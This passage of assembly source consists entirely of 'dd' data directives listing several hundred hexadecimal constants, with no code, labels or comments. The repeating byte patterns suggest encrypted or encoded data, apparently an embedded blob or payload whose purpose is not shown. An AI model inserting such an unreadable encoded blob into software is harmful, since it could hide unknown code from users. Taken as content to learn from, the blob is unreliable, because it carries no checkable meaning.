		dd 0B262F3B6h, 10060AB5h, 78A93A1Dh, 0C6C4E6ECh, 0C1E40AECh
		dd 29BAA0F0h, 82883386h, 422B0143h, 0ECC6B08Ah,	4F464B03h
		dd 516FDD4Bh, 686E9E15h, 0CFE2F51Bh, 0A429BAA0h, 53B05933h
		dd 8A422BE1h, 2BC9C3B0h, 0D8B08A42h, 0A0CFE2B2h, 8D6729BAh
		dd 0EEECF1ABh, 0A2A8530Bh, 0B08FFD80h, 422BE153h, 0ECC6B08Ah
		dd 0A45C4506h, 0F7FDF4F9h, 0ECC69B95h, 0F2BFE208h, 8C29BAA0h
		dd 92898E39h, 4045FDE0h, 60494349h, 0B16591A8h,	0A0FDD9A2h
		dd 0C6BEE0E6h, 4A500AECh, 6F1DD7FDh, 0A10EA3C6h, 156829BAh
		dd 4975D83Bh, 7ECCB7A2h, 21434994h, 0B08A422Bh,	6F1DC9C3h
		dd 0CBAD87C6h, 0F150C11h, 0BAA0E5CCh, 90775129h, 60B3D2D8h
		dd 6ECC686h, 0EAE4464Ch, 75D86F1Dh, 0FAFFB99Bh,	0C6DBFD03h
		dd 4C5109ECh, 0CE104F55h, 0B08A422Bh, 321DB2D8h, 0B6BB7358h
		dd 0C697B9BFh, 8C254887h, 1729BAA0h, 4FA27933h,	0A0AB0649h
		dd 80D329BAh, 6487C6A6h, 29BAA14Dh, 6ED0D629h, 220BA974h
		dd 3F19506Ah, 7C9EA45Ch, 4D6487C6h, 2929BAA1h, 4A98D0D6h
		dd 0BAA0CFE2h, 472BA429h, 0A18A888Dh, 3BEDE4E9h, 6E9A9F59h
		dd 240650ADh, 0C36E656Ah, 53B075E3h, 2BA4E6E1h,	0D8B58F49h
		dd 0C66F1DB2h, 0BAA10EA3h, 0B9BC6829h, 4D50A74Fh, 0C3522CD7h
		dd 6EBA608Ch, 542B75D4h, 0AF971A3Dh, 8CDF29B9h,	422B6486h
		dd 0AB989331h, 91953CF2h, 0DB993B61h, 0D7B15C45h, 0B99B75D8h
		dd 0FD03FAFFh, 0A29AC6DBh, 1A3BCC2Ch, 0F5FAB297h, 0A4D53FEh
		dd 12E4F00Bh, 6487C668h, 29BAA14Dh, 3A3C04FCh, 9E0A6D5h
		dd 0CDB6B0B6h, 0C9C33B15h, 85331CE2h, 492B176Ah, 0C9C3B58Fh
		dd 0B58F492Bh, 422BB2D8h, 0B2D8B08Ah, 53B08FFDh, 8F492BE1h
		dd 2BC9C3B5h, 0C3B08A42h, 0FD0B28Ch, 776E732Dh,	7C361ACCh
		dd 492B5476h, 0B2D8B58Fh, 34569AC6h, 5AB0DE88h,	0BDB4B971h
		dd 3EC90C12h, 395DBADFh, 53B08FFDh, 0D2E3CAA4h,	0F47000DEh
		dd 6B701BCBh, 0C64C6E74h, 928E689Ah, 309969Eh, 936D2709h
		dd 254887C6h, 29BAA08Ch, 0DA49FF2h, 6929BAA1h, 0B4AE1016h
		dd 788F492Bh, 0B24CBC4Ch, 0A4BB60D8h, 0B9A93081h, 0EDF34629h
		dd 2BB2D8CBh, 34738A42h, 0BAA0A011h, 7D83D629h,	33B2D85Bh
		dd 0E153B059h, 4E08ECC6h, 524C5249h, 739FB670h,	24475754h
		dd 29BA078Dh, 0A59296E9h, 0B51C206Fh, 3D97EB8Ch, 0C3D8FA00h
		dd 8F492BC9h, 0E2B2D8B5h, 5DBBC825h, 0DD1C3322h, 0BAA0F7BAh
		dd 42257F29h, 0E38E858Ah, 0A108A9CCh, 1B6E29BAh, 53B0F315h
		dd 8F492BE1h, 0D1C9C3B5h, 4600E44Ah, 0C59F4A41h, 472BB2D8h
		dd 0C9C3B38Dh, 0B006321Dh, 5109ECEEh, 35AAA24Dh, 0B2D80D2Fh
		dd 0B58F492Bh, 9FEDC9C3h, 0BAA0CFE2h, 462BA429h, 0A78B898Eh
		dd 0FBBCE8EDh, 9AB15BA6h, 3F4D756Eh, 74263691h,	0D8CFD48Eh
		dd 53B0B0D2h, 29E1CAA4h, 0A4E60123h, 0A588492Bh, 46F1E8EDh
		dd 2BB2D86Ch, 0D8B48E46h, 8090E2B2h, 2BE359A1h,	0C3B48E46h
		dd 8C442BC9h, 0E2B2D8B2h, 7FA79E00h, 0BF775C36h, 442B97B9h
		dd 7A49758Ch, 0B76F56D3h, 0E12EA6B3h, 0C9C3B9DBh, 758C442Bh
		dd 11FE6949h, 792B2BA8h, 0B4D6DC94h, 0E0E2B2D8h, 53107D3Dh
		dd 878C442Bh, 0E5EAA289h, 0F2A1FEB3h, 0BAA0E2CFh, 9E499C29h
		dd 87C61AF4h, 0BAA14D64h, 24D62929h, 87D833Bh, 442B39ABh
		dd 87C6B28Ch, 0BAA14D64h, 0D0D62929h, 442B746Eh, 0B79B758Ch
		dd 0D8D5F7FDh, 36492BB2h, 0B93BA4F1h, 7953FE60h, 2A4D8CC3h
		dd 29BAA087h, 74969CEFh, 0B28C442Bh, 5E608CC3h,	952808A2h
		dd 0C657797Fh, 0A14D6487h, 0D62929BAh, 3AF4D6D0h, 6487C660h
		dd 29BAA14Dh, 83D0D629h, 9ECC65Dh, 29084B51h, 5255E0A1h
		dd 858A422Bh, 0A0B2FF22h, 79CC29BAh, 252AE2C7h,	98DB38F9h
		dd 53B014EEh, 8ECC6E1h,	6C4E484Eh, 0C9C3D8B2h, 0B58F492Bh
		dd 0CEE2B2D8h, 0A93E69C6h
		dd 53B08FFDh, 8F492BE1h, 0C6C9C3B5h, 0A14D6487h, 0D62929BAh
		dd 3AF4D6D0h, 0AD674923h, 0B2D885A7h, 0B48E462Bh, 5933B2D8h
		dd 2BE153B0h, 0C3B58F49h, 8F492BC9h, 0E2B2D8B5h, 3E69C6CEh
		dd 0E51D406Ch, 459C1538h, 8FE211E7h, 288CDF8Bh,	452B0022h
		dd 23868Bh, 29BAA0B1h, 0E6C87ACDh, 431272Ch, 0A3BA64AFh
		dd 2F421777h, 6C727B2Dh, 0E153B04Ah, 9F88492Bh,	3F44FEE0h
		dd 0A1989D48h, 0C9C31CF6h, 0B38D472Bh, 92E2B2D8h, 0A848EFAAh
		dd 7E42BF7Ch, 6508565Bh, 0C9CD20C8h, 464CCA4Bh,	8D472B24h
		dd 92B89C76h, 0BAA1426Fh, 3EE93C29h, 1A3C4239h,	9AC6C9C3h
		dd 0CB18D0E6h, 24475E23h, 29BA488Dh, 969096E9h,	0D81EF8B2h
		dd 0AB0EE2B2h, 522C34B5h, 0B8AFB46Eh, 462B90B2h, 0A25DA835h
		dd 28D3ED40h, 863E2523h, 15E8B81h, 0B0B597BEh, 472BE153h
		dd 0C9C3B38Dh, 0B58F492Bh, 0ECC6B2D8h, 51484D05h, 0B36D514Bh
		dd 0FDB2D8D9h, 0A453B08Fh, 2429E1CAh, 2B05272Dh, 0C6B58F49h
		dd 454B03ECh, 4A6DACE3h, 29BAA167h, 98F5630Fh, 1B8A9899h
		dd 1D486A70h, 3675D86Fh, 0BAA09E13h, 7F85D829h,	8D472B5Dh
		dd 0EDC9C3B3h, 0AECC69Fh, 0AA074A50h, 0D129BAA0h, 53B05933h
		dd 0C6A4E6E1h, 82BA589Ah, 60665DD3h, 0EFC98166h, 9608CC3h
		dd 138A27E3h, 41238EB1h, 85B29BAh, 0C635575Dh, 9B3D79Ah
		dd 3099DBEh, 916B2509h,	492BB2D8h, 0B2D8B58Fh, 53B095F7h
		dd 8D472BE1h, 9D143776h, 0D929BAA0h, 0C35E8086h, 8F492BC9h
		dd 2BC9C3B5h, 37768D47h, 0BAA09D14h, 9C7FD929h,	3DE8DFE4h
		dd 0B2D81537h, 0BAA0D0E2h, 0BFCDA329h, 1FE153B0h, 5434E0E3h
		dd 23E0Ch, 492B5600h, 0B99E788Fh, 0D8D9FB01h, 939A4975h
		dd 43D6C4A4h, 95A8092Ch, 7BCE29BAh, 9FED5375h, 788F492Bh
		dd 0A09B1639h, 90E329BAh, 8CC3688Ah, 477B2960h,	0EED0C4D0h
		dd 8D382F34h, 3A40F8DBh, 8F492B18h, 379AC6B5h, 0DD776963h
		dd 0F7FCB499h, 24F5500h, 0A0CFE2DCh, 33A429BAh,	0A453B059h
		dd 0A09DA678h, 0FBAD4E3Ah, 34565C14h, 0B58F492Bh, 0CDB28CC3h
		dd 2BED0F15h, 0C6B58F49h, 494F07ECh, 0CFE2D6FCh, 0A429BAA0h
		dd 53B08FFDh, 6487C6E1h, 29BAA14Dh, 4024D629h, 848A8186h
		dd 14EEA88Ah, 500AECC6h, 0EC4E544Bh, 0F3321DF2h, 0BAA0E1D0h
		dd 334A9D29h, 0BAA0A110h, 848ADD29h, 2BB2D862h,	0D8B58F49h
		dd 58321DB2h, 0BDB4B971h, 0A3C695B7h, 29BAA112h, 0BA745A34h
		dd 593B95B4h, 0F8A39A9Fh, 8ECC61Eh, 4E52494Eh, 0C0A15B97h
		dd 0EB4D53E6h, 0F99AC6F1h, 81BB2375h, 0E9A18A3Ch, 0EDE7EDE4h
		dd 0C377510Bh, 872A4D8Ch, 0EF29BAA0h, 0E674969Ch, 33442BA4h
		dd 0DC6DFCD1h, 6518E675h, 5E48A7ABh, 0D85A34DFh, 0FEB69B75h
		dd 0C8D9D6F8h, 0D7E57261h, 0C6B26020h, 0BAA10EA3h, 2C0E6829h
		dd 18ED919h, 8B3657EDh,	0AE48F86h, 0CEE2C9C3h, 0A929BAA0h
		dd 0B28C442Bh, 472BC9C3h, 0E6EBA386h, 0EE2D44EFh, 0BAA0E6CBh
		dd 373D9029h, 0E2B2D815h, 7B8CD3C4h, 7BFA882h, 2BE4CDF0h
		dd 479AD784h, 1C331F41h, 0B29B5C42h, 0BB9D4FFAh, 0FF05FC01h
		dd 0A453B0DDh, 0A16F4265h, 0B40729BAh, 472B8CAEh, 0C9C3B38Dh
		dd 500AECC6h, 0B26C504Ah, 9B75D8D8h, 0F8F6FBB5h, 5F565B13h
		dd 2B8CAEB4h, 0E9A38544h, 92975137h, 0FFD9F09Bh, 665D621Ah
		dd 75D83E60h, 0FAFFB99Bh, 33DBFD03h, 0E153B059h, 0B38D472Bh
		dd 0CC608CC3h, 83567A07h, 0C6B9DBE1h, 0A14D6487h, 0D62929BAh
		dd 38F2D6D0h, 8ECC65Eh,	0D5FB484Eh, 8CD3C4E2h, 8FFDBF7Bh
		dd 2BE153B0h, 0C3B38D47h, 58321DC9h, 94B6BC76h,	442BB2D8h
		dd 0C9C3B28Ch, 9AC69FEDh, 0E322B6F8h, 0E2C4763Ch, 262C2328h
		dd 0BA1BCEE3h, 5933A529h, 0E6E153B0h, 11C9FBA4h, 2B910000h
		dd 0D8B38D47h, 5ECC6B2h, 4B51484Dh, 0BAA0B008h,	492BC329h
		dd 0A68C8A8Fh, 0FABBE7ECh, 0FF4A5AA5h, 81874125h, 0A453B05Fh
		dd 0A16F4265h, 0A4C729BAh, 29BAA10Dh, 0EC3F1669h, 0E31FC4E6h
		dd 0C5434E0h, 8BDh, 879AC656h, 70280B0Eh, 0E70746Bh, 918B9168h
		dd 0D81CF6AEh, 94BBE2B2h, 2BB829BAh, 37768D47h,	0BAA09D14h
		dd 8086D929h, 1DB2D85Eh, 0CB9AC66Fh, 0A4C1F51Fh, 0BADD3C42h
		dd 29B9D3F7h, 7F3E257Fh, 8934DF99h, 0F5B69872h,	5A51560Eh
		dd 0ADB3AAAFh, 0E2C9C38Bh, 3980FBE0h, 8D472B53h, 0C6C9C3B3h
		dd 0C2E509ECh, 29BAA0EFh, 83893487h, 11EBA589h,	87C6B2D8h
		dd 0A08C2548h, 9FF229BAh, 0BAA10DA4h, 0EDA58E29h, 0C71AF1E8h
		dd 70752F15h, 7E307379h, 0F529BAA0h, 858A422Bh,	0E4E9A387h
		dd 5DA0FDB2h, 53B03654h, 8D472BE1h, 109AC6B3h, 2EDF3AD6h
		dd 6862C4CAh, 768D472Bh, 0A09D1437h, 1CFE29BAh,	8F665D62h
		dd 0D814363Ch, 0A0CCE2B2h, 0D4A729BAh, 0E153B0B6h, 0B38D472Bh
		dd 0C9B28CC3h, 2BE90B11h, 0B3FE2147h, 0CB29BAA0h, 0D8F3CD78h
		dd 5B87C6B2h, 2876CAC8h, 31807BE2h, 4D29BA32h, 4E530DF3h
		dd 63A6AC57h, 111884CFh, 7E58F7A6h, 0E1D8DD95h,	87C6B9DBh
		dd 0BAA14D64h, 0BFD62929h, 0BAA1159Ch, 80E6129h, 2BC43E93h
		dd 5F293447h, 0BE152917h, 5462EABAh, 741F20B8h,	608CC39Ah
		dd 0AFD2114Bh, 29BA5902h, 1425297Ch, 7FA1A72Ch,	768D472Bh
		dd 0C779B54Ah, 23295896h, 6487C601h, 29BAA14Dh,	83D0D629h
		dd 0A55D4620h, 81A3A9A0h, 82C49AC6h, 0A8AD6548h, 73EAADB1h
		dd 5A54979Dh, 1929B9B5h, 53B094F6h, 8D472BE1h, 2BC9C3B3h
		dd 0D8B38D47h, 1EC4975h, 68CC257Eh, 1116D0B6h, 98F2141Ah
		dd 2BC9C3F2h, 0E9A18647h, 6842EDE4h, 4E08ECC6h,	0A09D1437h
		dd 86D929BAh, 0F6D03380h, 5F565B13h, 492B3759h,	87C6B58Fh
		dd 110CC4ADh, 29BAA0A0h, 307D83D6h, 8D472B0Ah, 99AC6B3h
		dd 85E733E5h, 95FD1247h, 50D6F791h, 5D57D34Ch, 93995216h
		dd 492B3731h, 41ECA688h, 0E9C8EB2Ah, 9529BAA0h,	0F09B553Bh
		dd 0C9C3C8EAh, 0B58F492Bh, 0B598B2D8h, 0A15E5376h, 543D29BAh
		dd 6C72C59Ch, 2BC9C34Ah, 0D8B38D47h, 8F492BB2h,	2BB2D8B5h
		dd 8ABA3447h, 8F1D0884h, 0C9C30AE4h, 0B58F492Bh, 472BC9C3h
		dd 0A0B3FE21h, 71CB29BAh, 0D8CFD48Ch, 0D8A8822Dh, 6B324975h
		dd 0B3A29D3Ch, 0FE021085h, 0F7FD788Ah, 7AAAE2D5h, 0B69D399Bh
		dd 0E153B0D4h, 4D05ECC6h, 0AF694D47h, 3ECC6D5h,	0FBB5994Bh
		dd 2B9993F5h, 0C6B38D47h, 634605ECh, 4AFA6ABh, 0C68BB1FEh
		dd 0A14D6487h, 0D62929BAh, 0A1159CBFh, 0E6129BAh, 732B0E08h
		dd 1DC9C399h, 2BB2D86Fh, 0C3B38D47h, 8862EDC9h,	943593A6h
		dd 512E4639h, 0BDA3A1A6h, 5C07FE03h, 0CFE23456h, 6729BAA0h
		dd 1A7F243Bh, 242A73BFh, 0B0593302h, 0A4E6E153h, 0B38D472Bh
		dd 0E208ECC6h, 0BAA0F2BFh, 8E398C29h, 0FEE09289h, 42483F44h
		dd 0ECC6CFF5h, 0F3BEE105h, 8B29BAA0h, 25888D38h, 0BAA0AF02h
		dd 0C974C729h, 2EE6C9C3h, 33B2D854h, 0E153B059h, 0B38D472Bh
		dd 7A5B87C6h, 96F824C5h, 0C22D847Fh, 0F64929B9h, 7D578EF0h
		dd 0DCDADF99h, 909641F9h, 6487C66Eh, 29BAA14Dh,	0D6DBD629h
		dd 0A029BAA0h, 0C8A28D4Dh, 2E252AE4h, 75D80628h, 0F7FDB79Bh
		dd 90482BD5h, 9ECC6B6h,	0EFE94B51h, 9AC69FEDh, 4B88B856h
		dd 4A2CDE1Fh, 6A478A90h, 1129B9C0h, 53B05933h, 29E1CAA4h
		dd 8A442624h, 0CCE38E85h, 0BAA108A9h, 151B6E29h, 0C6A4E6F3h
		dd 0A14D6487h, 28FC29BAh, 0EB36160Bh, 797FD2A9h, 0BA634336h
		dd 442BB829h
		dd 75D8B28Ch, 0B013BE49h, 1C22647Fh, 0C66F1DFAh, 0BAA10EA3h
		dd 3B156829h, 0F6E2C9C3h, 516F1EB3h, 0B28C442Bh, 442BC9C3h
		dd 0B2D8B28Ch, 87C6AAE0h, 8262EC5Bh, 0E5E09EA5h, 29B9BFCCh
		dd 0B87258B2h, 0B11BCB3h, 0B08A3996h, 150C11C9h, 0ECC6ED0Fh
		dd 51484D05h, 2BEFE94Bh, 0E59F8544h, 643EE9E0h,	4B03ECC6h
		dd 0FC494F46h, 8C9AC6D6h, 0C14F9E2Dh, 993FCCD2h, 87C6C9C3h
		dd 0B4558A5Bh, 0BDB8FAE1h, 29BA6DF4h, 3731378Ah, 0D8BE9850h
		dd 9ECC6B2h, 0A0EFC2E5h, 348729BAh, 878D8489h, 0BAA16A44h
		dd 0B6D40929h, 2BE153B0h, 0B4FD2044h, 9D29BAA0h, 10ABA473h
		dd 4DA077C2h, 0F15F8BA2h, 9C68ADD3h, 0C3F3151Bh, 0EA9AC6C9h
		dd 9DFC14B4h, 58A9212h,	62A7D101h, 0C57D625Ch, 0E2B2D8EBh
		dd 3488B490h, 8E462BE3h, 0CDDF4B77h, 104A8F4Fh,	3CC8320Ch
		dd 0CCD292C7h, 5B87C6AAh, 60D0CDBEh, 357C776Ch,	4129B9BCh
		dd 8C86E8EEh, 0B48E462Bh, 4D6487C6h, 2929BAA1h,	5D83D0D6h
		dd 2BDBC9B3h, 8C8A8F49h, 99E9EEA8h, 0B45B2C33h,	6C99433Fh
		dd 87A6CC17h, 80EC6ADh,	0E153B0E6h, 778E462Bh, 676DD74Bh
		dd 989E9109h, 2BC9C376h, 0D8B48E46h, 7ECC6B2h, 0A806494Fh
		dd 0CB29BAA0h, 53B094F6h, 22462BE1h, 0BAA0B2FFh, 0CE79CC29h
		dd 6C9AC6F4h, 75817E1Ah, 0B2AC0E14h, 778E462Bh,	0F7FCB49Dh
		dd 575C14F9h, 1C03B560h, 0D83C5E64h, 0D9DCE2B2h, 33575958h
		dd 7ECC659h, 4D534A4Fh,	2B097BD8h, 0C3B48E46h, 22462BC9h
		dd 0BAA0B2FFh, 0EA0DCC29h, 29BAA0C7h, 6B15CAFh,	0C6B2D82Ch
		dd 0A14D6487h, 0D62929BAh, 0A1159CBFh, 0E6129BAh, 0CEC1C508h
		dd 33B45359h, 0F7BADD1Ch, 7F29BAA0h, 0B004262Ch, 462BE153h
		dd 0B79D778Eh, 0C6D5F7FDh, 1B69F19Ah, 6369D1FEh, 0ECC60701h
		dd 4D4B500Ah, 0FC02AD67h, 8B651D02h, 5799AC6h, 0FE7972A3h
		dd 0B0B66119h, 4DE23D63h, 2A47CBDFh, 53B095F7h,	8E462BE1h
		dd 2BC9C3B4h, 0D8B48E46h, 3ECC6B2h, 0A0F5BCDFh,	2E8129BAh
		dd 0D53A7D83h, 25138483h, 0AAB0684Bh, 0B08FFD88h, 462BE153h
		dd 0C9C3B48Eh, 0B28C442Bh, 0B99B75D8h, 0A1417093h, 0EA3D29BAh
		dd 3D433A3Fh, 8E462B1Bh, 0B6B2D8B4h, 7C355897h,	229BAA0h
		dd 207BFA8h, 2E5C600Bh,	0F38E40EEh, 0B0E90B11h,	2665A453h
		dd 0BAA0AE03h, 7A75C829h, 29BAA137h, 0C4E6EC3Fh, 9C85442Bh
		dd 3DE8DFE4h, 0AA00FA26h, 0D9DE987Ch, 10BADEE2h, 0C605272Dh
		dd 474C06ECh, 0B1E84A50h, 0A1624F72h, 0C91C29BAh, 462BA1C3h
		dd 0C9C3B48Eh, 0E105ECC6h, 0BAA0F3BEh, 8D388B29h, 0AF022588h
		dd 0C729BAA0h, 0C9C3C974h, 39132AE2h, 98969B55h, 0F7FCB6h
		dd 0D82D4F55h, 9CF4E2B2h, 0FD4F2AE3h, 0E153B08Fh, 0FD20442Bh
		dd 29BAA0B4h, 0F2CC77CAh, 0ECC6C9C3h, 4F464B03h, 0CD88A14Bh
		dd 8389C406h, 14EEA689h, 0A54975D8h, 0D396D556h, 0CD2D73B0h
		dd 66117C8Eh, 1DE23E60h, 1A77A66Ch, 4D6487C6h, 2929BAA1h
		dd 2A2FE9CFh, 17848833h, 0B2DF395Dh, 0E5C8C2C8h, 4C04E7C1h
		dd 5C555047h, 0E229B9B7h, 0B9B6F2BFh, 62398C29h, 0C17B5D0Fh
		dd 8CC33C16h, 6113CBB2h, 0C6BDC27Ah, 87C69EC0h,	0BAA14D64h
		dd 476A2929h, 29BAA16Ah, 1016C114h, 9D772F16h, 0D7779AC6h
		dd 0B6CACDA9h, 0C63D63B0h, 4C5109ECh, 72554F55h, 0B2D8E0BAh
		dd 53B08FFDh, 8C442BE1h, 0B57C4975h, 9EA25C40h,	2C139397h
		dd 0A1C3C974h, 6F1DC9C3h, 482BB2D8h, 0BB9F7990h, 0D76699A8h
		dd 0E08B9614h, 0AACDE4DBh, 29B9C607h, 0F4161C6Fh, 0ECC6C9C3h
		dd 11494F07h, 6487C6C3h, 29BAA14Dh, 8DD0D629h, 29BAA124h
		dd 421C3357h, 10F2A45Eh, 0B02E5056h, 0A4E6E153h, 4E08ECC6h
		dd 183B5249h, 29BAA099h, 928C92E5h, 0D81AF4AEh,	884CE2B2h
		dd 0FD27594Ah, 0E153B08Fh, 0B38D472Bh, 4D05ECC6h, 0C6EBE547h
		dd 4A42209Ah, 0CFD589F2h, 5D37F1D5h, 4F07ECC6h,	2BD6FC49h
		dd 0C6B28C44h, 0C2E509ECh, 29BAA0EFh, 84893487h, 62BBEC34h
		dd 0B35E785Bh, 23FD60ADh, 877E833Dh, 8FFD5F81h,	2BE153B0h
		dd 0C3B38D47h, 8ECC6C9h, 16F9494Eh, 14674853h, 8F898F3Ah
		dd 0D817F1ABh, 884CE2B2h, 0BEEA594Ah, 8D4AF310h, 0D0F2F822h
		dd 888D472Bh, 0EAEFA78Ah, 4B500AECh, 64B96E54h,	0C6956F19h
		dd 4A500AECh, 2B0678D5h, 0C3B38D47h, 0C66F1DC9h, 4B5109ECh
		dd 442BD8FEh, 0DFE49C85h, 233A0B8Fh, 0C16C19EBh, 0C9C33C16h
		dd 4D6487C6h, 2929BAA1h, 4A98D0D6h, 0BAA0CFE2h,	5933A429h
		dd 500AECC6h, 1A3D544Bh, 29BAA097h, 11868CDFh, 5ED905BCh
		dd 3E37F09Ah, 7BFA85Ah,	0E3050B02h, 7D3B67E6h, 169BBEF4h
		dd 6029BA3Dh, 0F592090Dh, 0FBCDEFF5h, 8C7h, 0EE4DE291h
		dd 2B2A29BAh, 0B0012448h, 0C629BAA0h, 0D8EEC873h, 58321DB2h
		dd 0BDB4B971h, 87C695B7h, 0A0FC9ADh, 0E7CA0D13h, 8F29BAA0h
		dd 9AC6623Ch, 15865254h, 40A2A8D5h, 2B9FED46h, 9F799048h
		dd 0D9FB01BBh, 2EE2C9C3h, 929BAF0h, 0AE31422Bh,	570FF26Bh
		dd 81E50653h, 0B2D8FCD6h, 0A3C66F1Dh, 29BAA10Eh, 0C33B1568h
		dd 0F6EDE2C9h, 330D255Eh, 77B03D4Eh, 0CC5EC9AAh, 391E1C21h
		dd 0AED0D681h, 0B5459AC6h, 0B7D75077h, 16CEB7B1h, 2BC9C33Ch
		dd 8A9D8342h, 17449C3Ah, 0E2E79213h, 0C66640EBh, 0A14D6487h
		dd 654E29BAh, 0DAB1A8ADh, 0E348187h, 0BAA0CCE2h, 79D4A729h
		dd 0F6B14C4Dh, 0C6CC4359h, 0E153B0A4h, 5109ECC6h, 0B068514Bh
		dd 2BC9C3D6h, 0D8B08A42h, 0A0CCE2B2h, 0F6A729BAh, 0E153B094h
		dd 4D6487C6h, 2929BAA1h, 0EDD6D0D6h, 0C1F21E35h, 0E74EFB61h
		dd 0C391B3B9h, 8ECC6C9h, 4C52494Eh, 0D7B16952h,	9E2B2D8h
		dd 7E255EF7h, 868B452Bh, 0E3E8A288h, 0A1545D80h, 0D72A29BAh
		dd 0D21D72BBh, 0E31B47F2h, 0F6010BEAh, 0B05E8086h, 0ECC6E153h
		dd 0B19A4C06h, 10F9F3F9h, 8CC37E58h, 3AD40C60h,	1A202D95h
		dd 90482BF8h, 2BB2D8B6h, 0E39D8342h, 0B2D85E38h, 53B05933h
		dd 29E1CAA4h, 482B0123h, 0C9C3B690h, 738A422Bh,	0A0A01134h
		dd 14FB29BAh, 2C32855Ch, 0EDC9C30Ah, 0A0CFE29Fh, 0FDA429BAh
		dd 0E153B08Fh, 4F07ECC6h, 0E4D534Ah, 8C442BCCh,	3ECC6B2h
		dd 0D2F8454Bh, 0A3C66F1Dh, 29BAA10Eh, 0B6B6BC68h, 0BF3228A8h
		dd 3A23FD14h, 35E0987Bh, 11333930h, 0CCB28CC3h,	2C0F0D12h
		dd 0CD786F74h, 0CFE2A5C7h, 0A429BAA0h, 0B28C442Bh, 482BC9C3h
		dd 0ECC6B690h, 534A4F07h, 0C39D004Dh, 2A2126DEh, 442B0224h
		dd 4849758Ch, 0C5B5F205h, 0D8A8CAD0h, 0B08FFDB2h, 482BE153h
		dd 0C9C3B690h, 0B28C442Bh, 321DC9C3h, 0B6BB7358h, 0C697B9BFh
		dd 0E82CB69Ah, 898F7278h, 482B163Ch, 40EBA589h,	0C6B2D866h
		dd 0BAA10EA3h, 0FE156829h, 0BAA0D6DBh, 8D4DA029h, 6487C6DFh
		dd 29BAA14Dh, 0D6AD654Eh, 0FB1E7D83h, 29BAA0BAh, 0C38F69BCh
		dd 7ECC6C9h, 6C4F494Fh,	0C9C3DAB4h, 472BA4E6h, 0BA9C768Dh
		dd 0D8D8FA00h, 0C66F1DB2h, 0BAA10EA3h, 3B156829h, 0F9E2C9C3h
		dd 4E29BAEAh, 4D6487C6h, 2929BAA1h, 159CBFD6h, 6129BAA1h
		dd 290E080Eh, 0B2D89771h, 0A3C66F1Dh, 29BAA10Eh, 0C33B1568h
		dd 8411E2C9h, 0FD297CB4h, 0C17B6143h, 0FC9ED94h, 0D0C2D7E1h
		dd 0C6FD1F25h, 484D05ECh, 0A7AC664Ah, 5FF05B0h,	0C68E6820h
		dd 484E08ECh, 462BECE6h, 75D8B48Eh, 0F8FEB69Bh,	0BC42E2D6h
		dd 1EF82097h, 0DB937837h, 2E34DFD6h, 0C68FFD0Ch, 3AAE49Ah
		dd 0BA71D1E0h, 565AAD29h
		dd 8E946231h, 0E10DC419h, 0B1267704h, 8E462D6Bh, 0E1E79289h
		dd 8E462BBFh, 2BC9C3B4h, 9D778E46h, 5FC01BBh, 0B2D8DDFFh
		dd 455DEAE2h, 8FFD5DD6h, 2BE153B0h, 0AE553546h,	193FF6EDh
		dd 0C9C3946Eh, 0B38D472Bh, 500AECC6h, 0B16B4D4Bh, 40AB5ACh
		dd 0F21554B7h, 29BAA0BFh, 3C5E64B7h, 0B28C442Bh, 4D6487C6h
		dd 2929BAA1h, 159CBFD6h, 6129BAA1h, 58BB080Eh, 6121CF2Ch
		dd 0E5EB06E8h, 0EEFAE2C3h, 0C64D240Fh, 0A3CD799Ah, 181E4B99h
		dd 687F371Eh, 0EEF3AB8Eh, 0C3CFF1F7h, 8C442BC9h, 0CCAB4975h
		dd 0CD25CAD3h, 0B2D8A5C7h, 0F6049AC6h, 32656F36h, 944E322Ch
		dd 3BDA37Dh, 0DF0107FEh, 442BC9C3h, 0FA49758Ch,	21F1842Fh
		dd 41A94448h, 3402D397h, 9AC60C2Eh, 0E32E721Ch,	4EB0B615h
		dd 8A422B54h, 0A0113473h, 0D629BAA0h, 0D85B7D83h, 0E967E2B2h
		dd 0C6DC5E2Dh, 0DCF8B29Ah, 21272BA0h, 0F71A3E27h, 29B9A1BAh
		dd 0DCBF71C4h, 7D281F24h, 0AD042766h, 0C929B9A1h, 0C34E7076h
		dd 872A4D8Ch, 0EF29BAA0h, 49F4AC95h, 0F2F7B197h, 2BD3F5FBh
		dd 47738A42h, 0A13A9B0Ch, 0BCDEE4C9h, 6DE0B2D8h, 0A0A60B2Eh
		dd 7DD029BAh, 53B05577h, 4BAC78A4h, 0FADC8F9Ah,	8DF1C0E3h
		dd 3A8D29BAh, 8CC31234h, 0A0872A4Dh, 9CEF29BAh,	422B7496h
		dd 0E3E8A083h, 0D86741ECh, 3ECC6B2h, 494F464Bh,	0B7FFE5D7h
		dd 0E153B0D5h, 17639AC6h, 3F3CC58Dh, 0A49BA058h, 10F9F3F9h
		dd 722C12ECh, 367B766Dh, 4029BA5Ch, 0C36842EDh,	8A422BC9h
		dd 75DE4773h, 393EF8DAh, 6BE23E42h, 0D88DAFB5h,	5C35E2B2h
		dd 33121779h, 4F9AC659h, 31166137h, 0B9168B91h,	8A422B47h
		dd 2BC9C3B0h, 0D8B38D47h, 8A422BB2h, 6487C6B0h,	29BAA14Dh
		dd 0A0EBC6E9h, 409329BAh, 0C3101669h, 0B08FFD9Dh, 0E6CAA453h
		dd 2A30272Ch, 0C49AC608h, 0AB63489Eh, 0C1ABAFA6h, 0C6C0C612h
		dd 0C34E28E2h, 83422BC9h, 623CE7A1h, 472BC9C3h,	0B69C768Dh
		dd 0E900F7FCh, 0BAA0EBC6h, 3A409329h, 3ECC618h,	0D2F8454Bh
		dd 4D6487C6h, 2929BAA1h, 8934ECCFh, 897F4083h, 2BF43A5Ch
		dd 8D8B9048h, 0F5EBF0A8h, 1286BC8h, 0E153B01Fh,	0B38D472Bh
		dd 500AECC6h, 0EC4E544Bh, 8D472BF2h, 6487C6B3h,	29BAA14Dh
		dd 0AEB36B4Eh, 878DE0B7h, 6C98D73Ah, 0F4777349h, 81302B11h
		dd 0FD29BA57h, 0B382A4AAh, 482BDCF6h, 0A48D8B90h, 367FE7ECh
		dd 2ED096D9h, 65A453B0h, 0BAA16F42h, 9DB40729h,	0BAA1377Ah
		dd 0E6EC3F29h, 34472BC4h, 644D5F35h, 0ACB0A7ACh, 35E0D2B9h
		dd 4D8CC35Bh, 8F245F21h, 514C88FBh, 29BA3860h, 89ACC316h
		dd 29BA3828h, 0D3F5FB4Eh, 768D472Bh, 0A09D1437h, 86D929BAh
		dd 0ECC65E80h, 13364D05h, 29BAA09Eh, 327F85D8h,	0FF4FE20Ch
		dd 0FD24841Dh, 0F9D52652h, 1CB9E0Fh, 53B0D9FBh,	86472BE1h
